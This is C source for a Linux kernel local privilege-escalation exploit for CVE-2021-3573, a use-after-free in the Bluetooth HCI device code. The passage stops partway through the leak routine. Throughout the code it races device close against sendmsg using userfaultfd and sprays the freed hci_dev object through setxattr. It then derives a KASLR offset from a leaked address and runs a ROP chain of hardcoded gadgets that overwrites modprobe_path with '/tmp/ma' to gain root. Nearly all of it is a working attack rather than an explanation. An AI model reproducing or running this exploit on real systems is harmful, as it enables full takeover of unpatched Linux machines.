/*
 * CVE-2021-3573 exploit
 */

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <unistd.h>
#include <sys/xattr.h>
#include <sys/ipc.h> 
#include <sys/shm.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <linux/userfaultfd.h>
#include <pthread.h>
#include <errno.h>
#include <fcntl.h>
#include <signal.h>
#include <poll.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <time.h>
#include <sched.h>

/* utils files */
#include "util.h"

/* macros and structs */

// different environment will have different object layout
#define LOCAL_TEST_STRUCT

#ifdef LOCAL_TEST_STRUCT
struct list_head
{
    struct list_head* next;
    struct list_head* prev;
};

struct hlist_node {
    struct hlist_node *next, **pprev;
};

struct mutex 
{
    uint8_t content[0x20];  // depends on kernel
};

#define HCI_MAX_NAME_LENGTH        248
#define HCI_MAX_SHORT_NAME_LENGTH    10
#define HCI_MAX_EIR_LENGTH        240
#define HCI_MAX_PAGES    3
#define HCI_MAX_AMP_ASSOC_SIZE    672
#define HCI_MAX_AD_LENGTH        31

struct amp_assoc {
    uint16_t    len;
    uint16_t    offset;
    uint16_t    rem_len;
    uint16_t    len_so_far;
    uint8_t        data[HCI_MAX_AMP_ASSOC_SIZE];
};

struct timer_list {
    /*
     * All fields that change during normal runtime grouped to the
     * same cacheline
     */
    struct hlist_node    entry;
    unsigned long        expires;
    void            (*function)(struct timer_list *);
    uint32_t            flags;
};

struct work_struct {
    uint64_t data;  // atomic_long_t data;
    struct list_head entry;
    void* func; // work_func_t func;
};

struct delayed_work {
    struct work_struct work;
    struct timer_list timer;

    /* target workqueue and CPU ->timer uses to queue ->work */
    void* wq; // struct workqueue_struct *wq;
    int cpu;
};

struct sk_buff_head {
    /* These two members must be first. */
    void* next; // struct sk_buff    *next;
    void* prev; // struct sk_buff    *prev;

    uint32_t        qlen;
    uint8_t    lock[0x4];  // spinlock_t
};

struct wait_queue_head_t {
    uint8_t    lock[0x4];  // spinlock_t        lock;
    struct list_head    head;
};

struct discovery_state {
    int            type;
    enum {
        DISCOVERY_STOPPED,
        DISCOVERY_STARTING,
        DISCOVERY_FINDING,
        DISCOVERY_RESOLVING,
        DISCOVERY_STOPPING,
    } state;
    struct list_head    all;    /* All devices found during inquiry */
    struct list_head    unknown;    /* Name state not known */
    struct list_head    resolve;    /* Name needs to be resolved */
    uint32_t            timestamp;
    uint8_t last_adv_addr[0x6]; // __bdaddr_t        last_adv_addr;
    uint8_t            last_adv_addr_type;
    int8_t            last_adv_rssi;
    uint32_t            last_adv_flags;
    uint8_t            last_adv_data[HCI_MAX_AD_LENGTH];
    uint8_t            last_adv_data_len;
    bool            report_invalid_rssi;
    bool            result_filtering;
    bool            limited;
    int8_t            rssi;
    uint16_t            uuid_count;
    int8_t            (*uuids)[16];
    unsigned long        scan_start;
    unsigned long        scan_duration;
};

typedef    int (*notifier_fn_t)(void *nb,  // struct notifier_block
            unsigned long action, void *data);

struct notifier_block {
    notifier_fn_t notifier_call;
    struct notifier_block *next;
    int priority;
};

enum suspended_state {
    BT_RUNNING = 0,
    BT_SUSPEND_DISCONNECT,
    BT_SUSPEND_CONFIGURE_WAKE,
};

enum suspend_tasks {
    SUSPEND_PAUSE_DISCOVERY,
    SUSPEND_UNPAUSE_DISCOVERY,

    SUSPEND_PAUSE_ADVERTISING,
    SUSPEND_UNPAUSE_ADVERTISING,

    SUSPEND_SCAN_DISABLE,
    SUSPEND_SCAN_ENABLE,
    SUSPEND_DISCONNECTING,

    SUSPEND_POWERING_DOWN,

    SUSPEND_PREPARE_NOTIFIER,
    __SUSPEND_NUM_TASKS
};

struct hci_conn_hash {
    struct list_head list;
    unsigned int     acl_num;
    unsigned int     amp_num;
    unsigned int     sco_num;
    unsigned int     le_num;
    unsigned int     le_num_slave;
};

/* Ioctl requests structures */
struct hci_dev_stats {
    uint32_t err_rx;
    uint32_t err_tx;
    uint32_t cmd_tx;
    uint32_t evt_rx;
    uint32_t acl_tx;
    uint32_t acl_rx;
    uint32_t sco_tx;
    uint32_t sco_rx;
    uint32_t byte_rx;
    uint32_t byte_tx;
};

struct device
{
    uint8_t content[0x2c8];
};

struct idr
{
    uint8_t content[0x18];
};

struct hci_dev {
    struct list_head list;
    struct mutex    lock;

    char        name[8];
    unsigned long    flags;
    uint16_t        id;
    uint8_t        bus;
    uint8_t        dev_type;
    uint8_t     addrs[30];    // packed address
    uint8_t        adv_addr_type;
    uint8_t        dev_name[HCI_MAX_NAME_LENGTH];
    uint8_t        short_name[HCI_MAX_SHORT_NAME_LENGTH];
    uint8_t        eir[HCI_MAX_EIR_LENGTH];
        uint8_t     __pad;
    uint16_t        appearance;
    uint8_t        dev_class[3];
    uint8_t        major_class;
    uint8_t        minor_class;
    uint8_t        max_page;
    uint8_t        features[HCI_MAX_PAGES][8];
    uint8_t        le_features[8];
    uint8_t        le_white_list_size;
    uint8_t        le_resolv_list_size;
    uint8_t        le_num_of_adv_sets;
    uint8_t        le_states[8];
    uint8_t        commands[64];
    uint8_t        hci_ver;
    uint16_t        hci_rev;
    uint8_t        lmp_ver;
    uint16_t        manufacturer;
    uint16_t        lmp_subver;
    uint16_t        voice_setting;
    uint8_t        num_iac;
    uint8_t        stored_max_keys;
    uint8_t        stored_num_keys;
    uint8_t        io_capability;
    int8_t        inq_tx_power;
    uint8_t        err_data_reporting;
    uint16_t        page_scan_interval;
    uint16_t        page_scan_window;
    uint8_t        page_scan_type;
    uint8_t        le_adv_channel_map;
    uint16_t        le_adv_min_interval;
    uint16_t        le_adv_max_interval;
    uint8_t        le_scan_type;
    uint16_t        le_scan_interval;
    uint16_t        le_scan_window;
    uint16_t        le_scan_int_suspend;
    uint16_t        le_scan_window_suspend;
    uint16_t        le_scan_int_discovery;
    uint16_t        le_scan_window_discovery;
    uint16_t        le_scan_int_adv_monitor;
    uint16_t        le_scan_window_adv_monitor;
    uint16_t        le_scan_int_connect;
    uint16_t        le_scan_window_connect;
    uint16_t        le_conn_min_interval;
    uint16_t        le_conn_max_interval;
    uint16_t        le_conn_latency;
    uint16_t        le_supv_timeout;
    uint16_t        le_def_tx_len;
    uint16_t        le_def_tx_time;
    uint16_t        le_max_tx_len;
    uint16_t        le_max_tx_time;
    uint16_t        le_max_rx_len;
    uint16_t        le_max_rx_time;
    uint8_t        le_max_key_size;
    uint8_t        le_min_key_size;
    uint16_t        discov_interleaved_timeout;
    uint16_t        conn_info_min_age;
    uint16_t        conn_info_max_age;
    uint16_t        auth_payload_timeout;
    uint8_t        min_enc_key_size;
    uint8_t        max_enc_key_size;
    uint8_t        pairing_opts;
    uint8_t        ssp_debug_mode;
    uint8_t        hw_error_code;
    uint32_t        clock;
    uint16_t        advmon_allowlist_duration;
    uint16_t        advmon_no_filter_duration;
    uint8_t        enable_advmon_interleave_scan;

    uint16_t        devid_source;
    uint16_t        devid_vendor;
    uint16_t        devid_product;
    uint16_t        devid_version;

    uint8_t        def_page_scan_type;
    uint16_t        def_page_scan_int;
    uint16_t        def_page_scan_window;
    uint8_t        def_inq_scan_type;
    uint16_t        def_inq_scan_int;
    uint16_t        def_inq_scan_window;
    uint16_t        def_br_lsto;
    uint16_t        def_page_timeout;
    uint16_t        def_multi_adv_rotation_duration;
    uint16_t        def_le_autoconnect_timeout;
    int8_t        min_le_tx_power;
    int8_t        max_le_tx_power;

    uint16_t        pkt_type;
    uint16_t        esco_type;
    uint16_t        link_policy;
    uint16_t        link_mode;

    uint32_t        idle_timeout;
    uint16_t        sniff_min_interval;
    uint16_t        sniff_max_interval;

    uint8_t        amp_status;
    uint32_t        amp_total_bw;
    uint32_t        amp_max_bw;
    uint32_t        amp_min_latency;
    uint32_t        amp_max_pdu;
    uint8_t        amp_type;
    uint16_t        amp_pal_cap;
    uint16_t        amp_assoc_size;
    uint32_t        amp_max_flush_to;
    uint32_t        amp_be_flush_to;

    struct amp_assoc    loc_assoc;

    uint8_t        flow_ctl_mode;

    unsigned int    auto_accept_delay;

    unsigned long    quirks;

    uint32_t    cmd_cnt;    // atomic_t
    unsigned int    acl_cnt;
    unsigned int    sco_cnt;
    unsigned int    le_cnt;

    unsigned int    acl_mtu;
    unsigned int    sco_mtu;
    unsigned int    le_mtu;
    unsigned int    acl_pkts;
    unsigned int    sco_pkts;
    unsigned int    le_pkts;

    uint16_t        block_len;
    uint16_t        block_mtu;
    uint16_t        num_blocks;
    uint16_t        block_cnt;

    unsigned long    acl_last_tx;
    unsigned long    sco_last_tx;
    unsigned long    le_last_tx;

    uint8_t        le_tx_def_phys;
    uint8_t        le_rx_def_phys;

    uint64_t    *workqueue; // struct workqueue_struct    *workqueue;
    uint64_t    *req_workqueue; // struct workqueue_struct    *req_workqueue;

    struct work_struct    power_on;
    struct delayed_work    power_off;
    struct work_struct    error_reset;

    uint16_t            discov_timeout;
    struct delayed_work    discov_off;

    struct delayed_work    service_cache;

    struct delayed_work    cmd_timer;

    struct work_struct    rx_work;
    struct work_struct    cmd_work;
    struct work_struct    tx_work;

    struct work_struct    discov_update;
    struct work_struct    bg_scan_update;
    struct work_struct    scan_update;
    struct work_struct    connectable_update;
    struct work_struct    discoverable_update;
    struct delayed_work    le_scan_disable;
    struct delayed_work    le_scan_restart;

    struct sk_buff_head    rx_q;
    struct sk_buff_head    raw_q;
    struct sk_buff_head    cmd_q;

    struct sk_buff        *sent_cmd;

    struct mutex        req_lock;
    struct wait_queue_head_t    req_wait_q;
    uint32_t            req_status;
    uint32_t            req_result;
    struct sk_buff        *req_skb;

    void            *smp_data;
    void            *smp_bredr_data;

    struct discovery_state    discovery;

    int            discovery_old_state;
    bool            discovery_paused;
    int            advertising_old_state;
    bool            advertising_paused;

    struct notifier_block    suspend_notifier;
    struct work_struct    suspend_prepare;
    enum suspended_state    suspend_state_next;
    enum suspended_state    suspend_state;
    bool            scanning_paused;
    bool            suspended;
    uint8_t            wake_reason;
    uint8_t wake_addr[0x6];// __bdaddr_t        wake_addr;
    uint8_t            wake_addr_type;

    struct wait_queue_head_t    suspend_wait_q;
    uint64_t suspend_tasks; //  DECLARE_BITMAP(suspend_tasks, __SUSPEND_NUM_TASKS);

    struct hci_conn_hash    conn_hash;

    struct list_head    mgmt_pending;
    struct list_head    blacklist;
    struct list_head    whitelist;
    struct list_head    uuids;
    struct list_head    link_keys;
    struct list_head    long_term_keys;
    struct list_head    identity_resolving_keys;
    struct list_head    remote_oob_data;
    struct list_head    le_white_list;
    struct list_head    le_resolv_list;
    struct list_head    le_conn_params;
    struct list_head    pend_le_conns;
    struct list_head    pend_le_reports;
    struct list_head    blocked_keys;

    struct hci_dev_stats    stat;

    uint32_t        promisc;    // atomic_t

    const char        *hw_info;
    const char        *fw_info;
    struct dentry        *debugfs;

    struct device        dev;

    struct rfkill        *rfkill;

    uint64_t dev_flags; //  DECLARE_BITMAP(dev_flags, __HCI_NUM_FLAGS);

    int8_t            adv_tx_power;
    uint8_t            adv_data[HCI_MAX_AD_LENGTH];
    uint8_t            adv_data_len;
    uint8_t            scan_rsp_data[HCI_MAX_AD_LENGTH];
    uint8_t            scan_rsp_data_len;

    struct list_head    adv_instances;
    unsigned int        adv_instance_cnt;
    uint8_t            cur_adv_instance;
    uint16_t            adv_instance_timeout;
    struct delayed_work    adv_instance_expire;

    struct idr        adv_monitors_idr;
    unsigned int        adv_monitors_cnt;

    uint8_t            irk[16];
    uint32_t            rpa_timeout;
    struct delayed_work    rpa_expired;
    uint8_t rpa[0x6]; // __bdaddr_t        rpa;

    enum {
        INTERLEAVE_SCAN_NONE,
        INTERLEAVE_SCAN_NO_FILTER,
        INTERLEAVE_SCAN_ALLOWLIST
    } interleave_scan_state;

    struct delayed_work    interleave_scan;

// take care of these two
// in real environments
// #ifdef (CONFIG_BT_LEDS)
//     struct led_trigger    *power_led;
	void*	power_led;
// #endif

// #ifdef IS_ENABLED(CONFIG_BT_MSFTEXT)
	uint16_t            msft_opcode;
	void            *msft_data;
// #endif


    int (*open)(struct hci_dev *hdev);
    int (*close)(struct hci_dev *hdev);
    int (*flush)(struct hci_dev *hdev);
    int (*setup)(struct hci_dev *hdev);
    int (*shutdown)(struct hci_dev *hdev);
    int (*send)(struct hci_dev *hdev, struct sk_buff *skb);
    void (*notify)(struct hci_dev *hdev, unsigned int evt);
    void (*hw_error)(struct hci_dev *hdev, uint8_t code);
    int (*post_init)(struct hci_dev *hdev);
    int (*set_diag)(struct hci_dev *hdev, bool enable);
    int (*set_bdaddr)(struct hci_dev *hdev, const void *bdaddr);
    void (*cmd_timeout)(struct hci_dev *hdev);
    bool (*prevent_wake)(struct hci_dev *hdev);
};

#endif

#define errExit(msg)    do { perror(msg); exit(EXIT_FAILURE); \
                       } while (0)

#define SPRAY_DEV_CNT   (32)

/* global data */
static int page_size;
struct pparam leakp = {0};
struct pparam hackp = {0};
struct pparam1 hackp1 = {0};
struct pparam2 hackp2 = {0};

struct pparam1 spray1[SPRAY_DEV_CNT] = {0};

static int globalLock1;
static int globalLock2;
static int globaltimeoutSignal;

/* for ROP */
static uint64_t kaslrOffset;
#define SELINUX_AVC_ADDR        0xffffffff82ef5f00L
#define WORKER_POOL_IDR_ADDR     0xffffffff8264cf10L
#define __PER_CPU_OFFSET_ADDR     0xffffffff825076a0L

// 0xffffffff8125676b <__do_compat_sys_ustat+91>:	add    rsp,0x98
#define ADD_RSP_98_GADGET   0xffffffff8125676bL
#define HCI_ERROR_RESET 0xffffffff81aa28e0L
// 0xffffffff8106e90f: pop rcx; ret; 
#define POP_RCX_GADGET  0xffffffff8106e90fL
// 0xffffffff81029ba1: pop rax; ret; 
#define POP_RAX_GADGET  0xffffffff81029ba1L
// 0xffffffff810d56b4: mov qword ptr [rcx], rax; ret; 
#define MOV_RCX_GADGET  0xffffffff810d56b4L
#define MODPROBE_PATH_ADDR  0xffffffff8264db80L
// 0xffffffff8109becf <cpu_startup_entry+15>:	call   0xffffffff8109bac0 <do_idle>
#define DO_IDLE_ADDR    0xffffffff8109becfL
// 0xffffffff81060a41: mov rsp, qword ptr [rsp + 0x18]; pop rbx; pop rbp; ret; 
#define PIVOT_GADGET    0xffffffff81060a41L

// bind to CPU-0
static void bindCpu()
{
    cpu_set_t  mask;
    CPU_ZERO(&mask);
    CPU_SET(0, &mask);    // CPU 0 as target
    if (sched_setaffinity(0, sizeof(mask), &mask) < 0)
        errExit("bindCPU");
}

static void mysleep(double secs) 
{
    double duration;
    clock_t start = clock();
    clock_t keep;
    while (1) {
        keep= clock();
        duration = (double)(keep - start) / CLOCKS_PER_SEC;
        if (duration >= secs)
            return;
    }
}

static void* faultThread_spray(void*arg)
{
    static struct uffd_msg msg;   /* Data read from userfaultfd */
    static int fault_cnt = 0;     /* Number of faults so far handled */
    long uffd;                    /* userfaultfd file descriptor */
    static char *page = NULL;
    struct uffdio_copy uffdio_copy;
    ssize_t nread;

    uffd = (long) arg;

    if (page == NULL) {
        page = mmap(NULL, page_size, PROT_READ | PROT_WRITE,
                   MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
        if (page == MAP_FAILED)
            errExit("mmap");
    }

    for (;;) {
        struct pollfd pollfd;
        int nready;
        pollfd.fd = uffd;
        pollfd.events = POLLIN;
        nready = poll(&pollfd, 1, -1);
        if (nready == -1)
            errExit("{faultThread_spray} poll");
        nread = read(uffd, &msg, sizeof(msg));
        if (nread == 0) {
            printf("{faultThread_spray} EOF on userfaultfd!\n");
            exit(EXIT_FAILURE);
        }

        if (nread == -1)
            errExit("{faultThread_spray} read");

        if (msg.event != UFFD_EVENT_PAGEFAULT) {
            fprintf(stderr, "{faultThread_spray} Unexpected event on userfaultfd\n");
            exit(EXIT_FAILURE);
        }

        if (msg.arg.pagefault.flags & UFFD_PAGEFAULT_FLAG_WRITE) {
            
            errExit("{faultThread_spray} unexpected write fault");

            struct uffdio_range range;
            range.start = msg.arg.pagefault.address & ~(page_size - 1);
            range.len = page_size;
            if (ioctl(uffd, UFFDIO_UNREGISTER, &range) == -1)
                errExit("{faultThread_spray} ioctl-UFFDIO_UNREGISTER");
            if (ioctl(uffd, UFFDIO_WAKE, &range) == -1)
                errExit("{faultThread_spray} ioctl-UFFDIO_WAKE");
        } else {
            printf("{faultThread_spray} expected setxattr read fault - %d\n", fault_cnt);

            /* We assume the 8k object is attained, prepare its main payload here 
             * - need to spray legitimate workqueue now
             * - need to prepare malicious PC and ROP chain here
             * 
             * To hijack the PC, we need to spray the 512 objects (workqueue)
             */
            if (fault_cnt == 0) {   // the first page of 8k
                for(int i = 0; i < SPRAY_DEV_CNT; i++)
                    tty_to_hci_hang(spray1[i]); // call hci_register_dev many times

                printf("{faultThread_spray} wait for sprayer timeout\n");
                mysleep(10.5); //  HCI_INIT_TIMEOUT /* 10 seconds */

                globalLock2 = 1;    // the sendmsg can move on

                while(!globaltimeoutSignal) {}  // sendmsg is finished and we can start

                for ( int i = 0; i < 4096; i += 32)
                    memset(page + i, i / 32 + 1, 32);

                struct hci_dev* devptr = page;  // first 4k

                devptr->cmd_timer.timer.entry.next = NULL;
                devptr->cmd_timer.timer.entry.pprev = NULL;
                devptr->cmd_timer.timer.expires = ADD_RSP_98_GADGET + kaslrOffset;
                devptr->cmd_timer.timer.function = HCI_ERROR_RESET + kaslrOffset;

                long* ropPayload = page + 0x8c0;    // rop chains
                /* corrupt modprobe_path */
                ropPayload[0] = POP_RCX_GADGET + kaslrOffset;
                ropPayload[1] = MODPROBE_PATH_ADDR + kaslrOffset;
                ropPayload[2] = POP_RAX_GADGET + kaslrOffset;
                memcpy(&ropPayload[3], "/tmp/ma\x00", 8);
                ropPayload[4] = MOV_RCX_GADGET + kaslrOffset;

                /* keep thread sleep */
                ropPayload[5] = DO_IDLE_ADDR + kaslrOffset;
            }
            else if (fault_cnt == 1) {
                for ( int i = 0; i < 4096; i += 32)
                    memset(page + i, i / 32 + 1, 32);
                struct hci_dev* devptrNextpageOffset = (long)page - page_size + 0xf8;
                devptrNextpageOffset->hw_error = PIVOT_GADGET + kaslrOffset;
                mysleep(1.6);  // this time is mutable
            }
            else {
                errExit("{faultThread_spray} unexpected 3 times read fault");
            }

            fault_cnt++;

            uffdio_copy.src = (unsigned long) page;

            uffdio_copy.dst = (unsigned long) msg.arg.pagefault.address &
                                                ~(page_size - 1);
            uffdio_copy.len = page_size;
            uffdio_copy.mode = 0;
            uffdio_copy.copy = 0;
            if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1)
                errExit("{faultThread_spray} ioctl-UFFDIO_COPY");

            // we can leave there
        }
    }
}

// we have to fetch the 8K hdev object 
// and use userfaultfd to hold it
static void* workThread_spray(void *arg)
{
    long uffd;          /* userfaultfd file descriptor */
    char *addr;         /* Start of region handled by userfaultfd */
    unsigned long len;  /* Length of region handled by userfaultfd */
    pthread_t thr;      /* ID of thread that handles page faults */
    struct uffdio_api uffdio_api;
    struct uffdio_register uffdio_register;
    int s;

    bindCpu();    // we'd better bind to CPU so the hdev object can be say to fetch

    page_size = sysconf(_SC_PAGE_SIZE);
    len = 2 * page_size;    // kmalloc-8k

    /* Create and enable userfaultfd object */

    uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
    if (uffd == -1)
       errExit("userfaultfd");

    uffdio_api.api = UFFD_API;
    uffdio_api.features = 0;
    if (ioctl(uffd, UFFDIO_API, &uffdio_api) == -1)
       errExit("ioctl-UFFDIO_API");

    addr = mmap(NULL, len, PROT_READ | PROT_WRITE,
               MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    if (addr == MAP_FAILED)
       errExit("mmap");

    uffdio_register.range.start = (unsigned long) addr;
    uffdio_register.range.len = len;
    uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
    if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1)
       errExit("ioctl-UFFDIO_REGISTER");

    s = pthread_create(&thr, NULL, faultThread_spray, (void *) uffd);    // hope these stuff won't allocate page 
    if (s != 0) {
       errno = s;
       errExit("faultThread_setxattr pthread_create");
    }

    while(!globalLock1) {} // wait for the close() syscall to release the hdev object

    setxattr("./", "foobar", addr, len, 0);
    // SPRAY-STAGE-1: refetch the 8k object
    // the success rate is high as 8k is quite stable
}

static void* faultThread_sendmsg(void *arg)
{
    static struct uffd_msg msg;   /* Data read from userfaultfd */
    static int fault_cnt = 0;     /* Number of faults so far handled */
    long uffd;                    /* userfaultfd file descriptor */
    static char *page = NULL;
    struct uffdio_copy uffdio_copy;
    ssize_t nread;

    uffd = (long) arg;

    if (page == NULL) {
        page = mmap(NULL, page_size, PROT_READ | PROT_WRITE,
                   MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
        if (page == MAP_FAILED)
            errExit("mmap");
    }

    for (;;) {
        struct pollfd pollfd;
        int nready;
        pollfd.fd = uffd;
        pollfd.events = POLLIN;
        nready = poll(&pollfd, 1, -1);
        if (nready == -1)
            errExit("poll");

        nread = read(uffd, &msg, sizeof(msg));
        if (nread == 0) {
            printf("EOF on userfaultfd!\n");
            exit(EXIT_FAILURE);
        }

        if (nread == -1)
            errExit("read");

        if (msg.event != UFFD_EVENT_PAGEFAULT) {
            fprintf(stderr, "Unexpected event on userfaultfd\n");
            exit(EXIT_FAILURE);
        }

        if (msg.arg.pagefault.flags & UFFD_PAGEFAULT_FLAG_WRITE) {
            
            errExit("{faultThread_sendmsg} unexpected write fault\n");

            struct uffdio_range range;
            range.start = msg.arg.pagefault.address & ~(page_size - 1);
            range.len = page_size;
            if (ioctl(uffd, UFFDIO_UNREGISTER, &range) == -1)
                errExit("ioctl-UFFDIO_UNREGISTER");
            if (ioctl(uffd, UFFDIO_WAKE, &range) == -1)
                errExit("ioctl-UFFDIO_WAKE");
        } else {
            printf("[*] expected memcpy_from_msg read fault\n");

            close(hackp.mfd);   // that's we want, let's close the device and make hdev released

            usleep(50); // wait a while to ensure the close

            globalLock1 = 1;    // hdev is released now

            while(!globalLock2) {} // hdev is obtained by us and workqueue is properly prepared

            *(unsigned long int *)page = 0;
            fault_cnt++;

            uffdio_copy.src = (unsigned long) page;

            uffdio_copy.dst = (unsigned long) msg.arg.pagefault.address &
                                                ~(page_size - 1);
            uffdio_copy.len = page_size;
            uffdio_copy.mode = 0;
            uffdio_copy.copy = 0;
            if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1)
                errExit("ioctl-UFFDIO_COPY");
            
            return; 
        }
    }
}

// exploit is a little complex :)
static void exploit()
{
    int choice;
    uint64_t leakAddr;
    printf("{exploit} The leak method ([1] WARNING for is_chained_work; [2] BUG for NPD): ");
    scanf("%d", &choice);

    printf("{exploit} The leaked address (low 4 bytes): ");
    scanf("%lx", &leakAddr);
    leakAddr |= 0xffffffff00000000;
    if (choice == 1) {
        kaslrOffset = leakAddr - SELINUX_AVC_ADDR;
    }
    else if (choice == 2) {
        // WORKER_POOL_IDR_ADDR maybe better
        kaslrOffset = leakAddr - __PER_CPU_OFFSET_ADDR;
    }
    printf("{exploit} offset = 0x%lx\n", kaslrOffset);
    
    /* kaslr is done, let's keep exploiting */

    bindCpu();
    /*
     spray this
     hackp = initialize_hci_uart();
     */
    hackp1 = initialize_tty();

    for(int i = 0; i < SPRAY_DEV_CNT; i++) {
        spray1[i] = initialize_tty();
    }
    // 512 objects are sprayed

    hackp2 = tty_to_hci(hackp1);    // 8k and the workqueue 512 are allocated
    hackp.mfd = hackp1.mfd;         // at the same time, may 512 objects maybe allocated and freed
    hackp.sfd = hackp1.sfd;
    hackp.sock = hackp2.sock;

    long uffd;          /* userfaultfd file descriptor */
    char *addr;         /* Start of region handled by userfaultfd */
    unsigned long len;  /* Length of region handled by userfaultfd */
    pthread_t thr, worker;      /* ID of thread that handles page faults */
    struct uffdio_api uffdio_api;
    struct uffdio_register uffdio_register;
    int s;

    page_size = sysconf(_SC_PAGE_SIZE);
    len = 1 * page_size;

    /* Create and enable userfaultfd object */

    uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
    if (uffd == -1)
       errExit("{exploit} userfaultfd");

    uffdio_api.api = UFFD_API;
    uffdio_api.features = 0;
    if (ioctl(uffd, UFFDIO_API, &uffdio_api) == -1)
       errExit("{exploit} ioctl-UFFDIO_API");

    /* Create a private anonymous mapping. The memory will be
      demand-zero paged--that is, not yet allocated. When we
      actually touch the memory, it will be allocated via
      the userfaultfd. */

    addr = mmap(NULL, len, PROT_READ | PROT_WRITE,
               MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    if (addr == MAP_FAILED)
       errExit("{exploit} mmap");

    uffdio_register.range.start = (unsigned long) addr;
    uffdio_register.range.len = len;
    uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
    if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1)
       errExit("{exploit} ioctl-UFFDIO_REGISTER");

    s = pthread_create(&thr, NULL, faultThread_sendmsg, (void *) uffd);
    if (s != 0) {
       errno = s;
       errExit("{exploit} faultThread_sendmsg pthread_create");
    }

    if (pthread_create(&worker, NULL, workThread_spray, NULL)) {
        errExit("{exploit} workThread_spray pthread_create");
    }

    struct sockaddr_hci hci_addr = {0};
    hci_addr.hci_family = AF_BLUETOOTH;
    hci_addr.hci_dev = VULN_DEV_ID;    // mutate this if there is already some device
    if (bind(hackp.sock, (struct sockaddr *)&hci_addr, sizeof(hci_addr)) < 0) {
        errExit("{exploit} socket bind");
    }

    struct iovec iov[3];

    struct hci_command_hdr hdr;
    hdr.opcode = HCI_OP_NOP;
    hdr.plen = 0x1;

    uint8 type = HCI_COMMAND_PKT;

    iov[0].iov_base = &type;
    iov[0].iov_len = sizeof(type);
    iov[1].iov_base = &hdr;
    iov[1].iov_len = sizeof(hdr);
    iov[2].iov_base = addr; // userfaultfd page
    iov[2].iov_len = hdr.plen;

    if (writev(hackp.sock, iov, sizeof(iov) / sizeof(struct iovec)) < 0) {
        perror("{exploit} writev");
        exit(1);
    }

    globaltimeoutSignal = 1;

    sleep(15); // wait for a while

    return NULL;
}

// leak is based on the kernel warning
static void* faultThread_leak(void *arg)
{
    static struct uffd_msg msg;   /* Data read from userfaultfd */
    static int fault_cnt = 0;     /* Number of faults so far handled */
    long uffd;                    /* userfaultfd file descriptor */
    static char *page = NULL;
    struct uffdio_copy uffdio_copy;
    ssize_t nread;

    uffd = (long) arg;

    /* Create a page that will be copied into the faulting region */

    if (page == NULL) {
        page = mmap(NULL, page_size, PROT_READ | PROT_WRITE,
                   MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
        if (page == MAP_FAILED)
            errExit("{faultThread_leak} mmap");
    }

    /* Loop, handling incoming events on the userfaultfd
      file descriptor */

    for (;;) {

        /* See what poll() tells us about the userfaultfd */

        struct pollfd pollfd;
        int nready;
        pollfd.fd = uffd;
        pollfd.events = POLLIN;
        nready = poll(&pollfd, 1, -1);
        if (nready == -1)
            errExit("{faultThread_leak} poll");

        /* Read an event from the userfaultfd */

        nread = read(uffd, &msg, sizeof(msg));
        if (nread == 0) {
            printf("{faultThread_leak} EOF on userfaultfd!\n");
            exit(EXIT_FAILURE);
        }

        if (nread == -1)
            errExit("{faultThread_leak} read");

        /* We expect only one kind of event; verify that assumption */

        if (msg.event != UFFD_EVENT_PAGEFAULT) {
            fprintf(stderr, "{faultThread_leak} Unexpected event on userfaultfd\n");
            exit(EXIT_FAILURE);
        }

        /* Copy the page pointed to by 'page' into the faulting
           region. Vary the contents that are copied in, so that it
           is more obvious that each fault is handled separately. */

        if (msg.arg.pagefault.flags & UFFD_PAGEFAULT_FLAG_WRITE) {
            errExit("{faultThread_leak} suppose no write fault");
        } else {
            printf("{faultThread_leak} expected memcpy_from_msg read fault\n");

            close(leakp.mfd);   // that's we want, let's close the device and make hdev released

            usleep(100); // wait a while to ensure the close

            // hdev is released now, make sendmsg continue to crash/warnning the kernel

            *(unsigned long int *)page = 0;
            fault_cnt++;

            uffdio_copy.src = (unsigned long) page;

            uffdio_copy.dst = (unsigned long) msg.arg.pagefault.address &
                                                ~(page_size - 1);
            uffdio_copy.len = page_size;
            uffdio_copy.mode = 0;
            uffdio_copy.copy = 0;
            if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1)
                errExit("{faultThread_leak} ioctl-UFFDIO_COPY");

            return NULL;    // return is okay
        }
    }
}

static void leak()
{
    // 0. some preparations
    bindCpu();
    leakp = initialize_hci_uart();

    // 1. Setup userfaultfd

    long uffd;          /* userfaultfd file descriptor */
    char *addr;         /* Start of region handled by userfaultfd */
    unsigned long len;  /* Length of region handled by userfaultfd */
    pthread_t thr;      /* ID of thread that handles page faults */
    struct uffdio_api uffdio_api;
    struct uffdio_register uffdio_register;
    int s;

    page_size = sysconf(_SC_PAGE_SIZE);
    len = 1 * page_size;

    /* Create and enable userfaultfd object */

    uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
    if (uffd == -1)
       errExit("{leak} userfaultfd");

    uffdio_api.api = UFFD_API;
    uffdio_api.features = 0;
    if (ioctl(uffd, UFFDIO_API, &uffdio_api) == -1)
       errExit("{leak} ioctl-UFFDIO_API");

    /* Create a private anonymous mapping. The memory will be
      demand-zero paged--that is, not yet allocated. When we
      actually touch the memory, it will be allocated via
      the userfaultfd. */

    addr = mmap(NULL, len, PROT_READ | PROT_WRITE,
               MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    if (addr == MAP_FAILED)
       errExit("{leak} mmap");

    /* Register the memory range of the mapping we just created for
      handling by the userfaultfd object. In mode, we request to track
      missing pages (i.e., pages that have not yet been faulted in). */

    uffdio_register.range.start = (unsigned long) addr;
    uffdio_register.range.len = len;
    uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
